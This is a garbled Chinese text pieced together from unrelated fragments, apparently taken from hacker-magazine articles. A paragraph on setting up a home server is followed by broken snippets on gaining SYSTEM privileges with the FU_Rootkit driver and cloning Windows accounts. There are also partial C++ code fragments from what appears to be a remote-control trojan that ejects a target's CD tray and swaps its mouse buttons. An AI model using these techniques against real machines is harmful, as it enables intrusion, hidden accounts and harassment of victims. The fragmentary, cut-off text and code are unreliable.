网络应用程序包括各种服务器软件后台程序,例如:wuftp、Apache等服务器后台;还有网上流行的各种论坛、电子社区。有条件的学习者最好将自己的电脑做成服务器,然后安装并运行一些论坛代码,经过一番尝试之后,将会感性的弄清楚网络工作原理,这比依靠理论学习要容易许多,能够达到事半功倍的效果!
tDriv(void)函数。本文利用FU_Rootkit获取SYSTEM权限后,完成了很多实用的黑客小工具, System和Administrator权限一般人看起来感觉都差不多,但在一些与系统内核交互的细节上,可以看出System权限要更大一些。譬如说注册
就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^ }} 接着就是交换目标机的鼠标左右键,代码如下:{else if(temp=="swap") {
是很眼馋,想不想自己写一个?在黑防2003年的第7期《C语言克隆账号》上已经有具体介绍。一般来讲,克隆账号的方法有2种:一种是利用系统服务的SYSTEM权限读写SAM文件;第二种是利用驱动提升进程权限。我们这里采用第二种办法。在《C
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名 if(Dir_Name=="") { file://如果
il By Open File”的错误信息 goto END; file://并跳到END处 } } AnsiString Return_Text=""; char temp_co